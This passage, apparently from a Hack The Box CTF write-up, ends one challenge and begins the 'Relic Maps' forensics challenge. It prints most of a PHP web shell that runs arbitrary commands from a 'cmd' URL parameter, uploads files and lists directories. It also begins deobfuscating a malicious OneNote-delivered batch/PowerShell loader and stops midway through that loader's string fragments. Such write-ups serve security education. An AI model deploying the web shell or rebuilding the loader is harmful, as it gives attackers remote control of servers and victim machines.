&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if (file_exists($uploadDirectory)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b style=&amp;#39;color:red&amp;#39;&amp;gt;Error. File already exists in &amp;#34;.$uploadDirectory.&amp;#34;.&amp;lt;/b&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;/br&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if (move_uploaded_file($_FILES[&amp;#39;fileToUpload&amp;#39;][&amp;#39;tmp_name&amp;#39;], $uploadDirectory)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#39;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;File &amp;#39;.$_FILES[&amp;#39;fileToUpload&amp;#39;][&amp;#39;name&amp;#39;].&amp;#39; uploaded successfully in &amp;#39;.$dir.&amp;#39; !&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> } else {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#39;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b style=&amp;#34;color:red&amp;#34;&amp;gt;Error uploading file &amp;#39;.$uploadDirectory.&amp;#39;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">if (isset($_GET[&amp;#39;cmd&amp;#39;])) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Result of command execution: &amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> exec(&amp;#39;cd &amp;#39;.$dir.&amp;#39; &amp;amp;&amp;amp; &amp;#39;.$_GET[&amp;#39;cmd&amp;#39;], $cmdresult);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> foreach ($cmdresult as $key =&amp;gt; $value) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;$value \n&amp;lt;br&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;br&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">?&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;table class=&amp;#34;table table-hover table-bordered&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;thead&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;tr&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;th&amp;gt;Name&amp;lt;/th&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;th&amp;gt;Owner&amp;lt;/th&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;th&amp;gt;Permissions&amp;lt;/th&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;/tr&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;/thead&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;tbody&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;?php
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">foreach ($dirs as $key =&amp;gt; $value) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;tr&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if (is_dir(realpath($dir.&amp;#39;/&amp;#39;.$value))) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;td&amp;gt;&amp;lt;a href=&amp;#39;&amp;#34;. $_SERVER[&amp;#39;PHP_SELF&amp;#39;] . &amp;#34;?dir=&amp;#34;. realpath($dir.&amp;#39;/&amp;#39;.$value) . &amp;#34;/&amp;#39;&amp;gt;&amp;#34;. $value . &amp;#34;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;#34;. posix_getpwuid(fileowner($dir.&amp;#39;/&amp;#39;.$value))[name] . &amp;#34;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;#34; . printPerms($dir) . &amp;#34;&amp;lt;/td&amp;gt;\n&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;td&amp;gt;&amp;lt;a href=&amp;#39;&amp;#34;. $_SERVER[&amp;#39;PHP_SELF&amp;#39;] . &amp;#34;?download=&amp;#34;. realpath($dir.&amp;#39;/&amp;#39;.$value) . &amp;#34;&amp;#39;&amp;gt;&amp;#34;. $value . &amp;#34;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;#34;. posix_getpwuid(fileowner($dir.&amp;#39;/&amp;#39;.$value))[name] .&amp;#34;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;#34; . printPerms($dir) . &amp;#34;&amp;lt;/td&amp;gt;\n&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;/tr&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;/tbody&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;/table&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">?&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;/div&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;/html&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looking at the comment, we can see the flag there.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{W0w_ROt_A_DaY}&lt;/strong>&lt;/p>
&lt;h2 id="relic-maps">Relic Maps&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1oyfMzfnOM69pQdIVi9j63dkLZ2xvVkgq/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what&amp;rsquo;s going on and get the flag. The link is to &lt;a href="http://relicmaps.htb" target="_blank" rel="noopener">http://relicmaps.htb&lt;/a>:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>From the link attached to this challenge, we get an Onenote file named &lt;code>relicmaps.one&lt;/code>. Analyze the file, we get 2 suspicious links, which lead us to 2 different files, &lt;a href="https://drive.google.com/file/d/14FBabJvLlTAjhCKbJBPMk6iI9u83HI0j/view?usp=share_link" target="_blank" rel="noopener">http://relicmaps.htb/uploads/soft/topsecret-maps.one&lt;/a> and &lt;a href="https://drive.google.com/file/d/1t9jembhbhIFY6PE7Lx3J7yA5prTsVGXv/view?usp=share_link" target="_blank" rel="noopener">http://relicmaps.htb/get/DdAbds/window.bat&lt;/a>.&lt;/p>
&lt;p>I did some analysis on the file &lt;code>topsecret-maps.one&lt;/code>, and there are only some PNGs inside it. In the &lt;code>window.bat&lt;/code> file, we are given a Powershell Script. You can run it directly, but I choose to deobfuscate using Python to understand its flow.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">dict&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;ualBOGvshk=ws&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;PxzdwcSExs= /&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;ndjtYQuanY=po&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;cHFmSnCqnE=Wi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;CJnGNBkyYp=co&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;jaXcJXQMrV=rS&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;nwIWiBzpbz=:&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;xprVJLooVF=Po&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;tzMKflzfvX=0&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;VCWZpprcdE=1.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;XzrrbwrpmM=&lt;/span>&lt;span class="se">\v&lt;/span>&lt;span class="s2">&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;BFTOQBPCju=st&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;WmUoySsDby=he&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;tHJYExMHlP=rs&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;JPfTcZlwxJ=do&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;VxroDYJQKR=y &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;UBndSzFkbH=py&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;KXASGLJNCX=ll&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;vlwWETKcZH=em&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;OOOxFGwzUd=e&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;NCtxqhhPqI=32&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;GOPdPuwuLd=\W&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;XUpMhOyyHB=ex&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;cIqyYRJWbQ=we&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;kTEDvsZUvn=nd&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;XBucLtReBQ=Sy&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;JBRccySrUq=ow&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;eNOycQnIZD=xe&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;chXxviaBCr=we&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;YcnfCLfyyS=in&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;lYCdEGtlPA=.e&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;pMrovuxjjq=he&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;UrPeBlCopW=ll&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;ujJtlzSIGW= C&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;zhNAugCrcK=&amp;#34;%~0.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">FlP%&amp;#34;ZqjBENExAX=s&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">%VhIy%&amp;#34;dzPrbmmccE=cd&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">%VhIy%&amp;#34;xQseEVnPet= &amp;#34;%~dp0&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;wxzMwkmbmY=gDBN&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;VavtsuhNIN=F&amp;#39;[-&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AHKCuBAkui=r = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ARecVABHyu=uZOc&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AbZpTpKurz=6] -&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BaMYsIgnsM=$uZO&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;JBUgbyTPxp=m(, &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;vGOYQQYIpx=.-16&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;yPzFwnsYdA= New&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;zuIYfGJIhV=O.Me&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;gbXeIdPSoj=&amp;#39;[-1&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BqEMjgsfHM=]::(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;bivuMABwCB=Invo&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;SJsEzuInUY=ile &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;htJeDhbeDW=();$&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ZygfZJxAOd=acUA&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;eDhTebXJLa=&amp;#34;%~nx0.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YlKbYsFYPy=in $&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jdKMRqipbM=e]::&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GVIREkvxRa=();$&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;OckpqzbYcn=n &amp;#39;&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;UPfjubfNXt=Mr, &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AkaPyEXHFq=esMa&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LODxmGMGqq=flec&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hImzprlFyw=pose&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;VZAbZqJHBk=1] -&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WYJXnBQBDj= [Sy&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rSVBNvbdPT=stem&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;tVtxVGNpFB=vert&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;tHHIjVCHeH=::De&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WvjMoIIiUn=);$b&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;vmIEtsktnA=ypto&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AbMyvUGzSH=fore&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;zDUDeXKPaV=..-1&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;INPLAzQfUo== [S&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ArAxZuPIrp== $B&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;nGqMpclaJV=ZOcm&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;lfYSggLrsL=null&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;eQPFkQsLmh=hy.A&amp;#34;
